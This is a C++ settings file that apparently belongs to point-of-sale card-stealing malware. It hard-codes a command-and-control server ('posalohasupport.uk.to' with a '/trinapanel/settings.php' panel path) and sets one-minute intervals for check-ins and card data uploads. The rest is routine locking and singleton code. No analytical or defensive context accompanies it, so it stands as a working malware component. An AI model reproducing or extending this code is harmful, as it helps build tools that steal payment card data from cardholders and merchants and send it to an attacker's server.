#include "Settings.h"
#include "Base.h"

Settings::Settings() // Config here
{
	InitializeCriticalSection(&s);

	cnc.push_back(std::pair<std::string, std::string>("posalohasupport.uk.to", "/trinapanel/settings.php"));

	successcode		= 666;
	updateinterval	= 60 * 1; // 1 min
	cardinterval	= 60 * 1; // 1 minutes

	log = false;
}

Settings *Settings::instance()
{
	static Settings *i = NULL;
	if (!i)
		i = new Settings();

	return(i);
}

Settings::~Settings(void)
{
	DeleteCriticalSection(&s);
}

void Settings::lock()
{
	EnterCriticalSection(&s);
}

void Settings::unlock()
{
	LeaveCriticalSection(&s);
}

void Settings::setUpdateInterval(unsigned int i)
{
	if (i < 10)
		i = 10;
	lock();
	updateinterval = i;
	unlock();
}

void Settings::setCardInterval(unsigned int i)
{
	if (i < 10)
		i = 10;
	lock();
	cardinterval = i;
	unlock();
}

void Settings::setLogging(bool log)
{
	lock();
	this->log = log;
	unlock();
}